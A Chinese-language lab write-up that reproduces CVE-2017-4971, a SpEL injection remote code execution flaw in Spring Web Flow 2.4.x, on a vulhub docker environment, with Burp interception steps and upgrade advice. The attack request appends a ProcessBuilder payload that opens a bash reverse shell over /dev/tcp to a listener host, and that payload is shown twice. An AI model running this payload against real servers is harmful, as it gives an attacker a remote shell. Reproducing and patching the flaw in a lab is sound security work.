CVE-2017-4971-Spring-Web-Flow-RCE
描述
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
影响版本
Spring Web Flow 2.4.0 – 2.4.4
漏洞检测
根据复现过程,在其指定的请求体后面加上&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.3.61/2233+0>%261")).start()=vulhub。
命令执行不回显,所以漏洞验证需要DNSlog服务器。
环境搭建
使用vulhub的docker环境做复现:
1 | cd spring/CVE-2017-4971 |

查看环境
1 | http://192.168.3.109:8080/ |

复现过程
点击左侧Login登录

左侧有密码,随便登录一个账号

直接点击Find Hotels

任意选择一个酒店,点击View Hotel

点击Book Hotel

任意输入后提交

点击Proceed后点击

Kali 开启监听

bp开启Intercept,点击Confirm。
截包后转发到Repeater模块。在其请求体后面加上&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.3.61/2233+0>%261")).start()=vulhub

1 | POST /hotels/booking?execution=e2s2 HTTP/1.1 |
PS:这里在点击Confirm之前必须开启bp的截包,如果正常的数据包发出后,就不能执行exp了。
获得返回到会话

修复建议
1、2.4.x用户升级到2.4.5
2、建议在视图状态中始终使用显式数据绑定声明, 以防止表单提交在不应设置的目标对象上设置字段。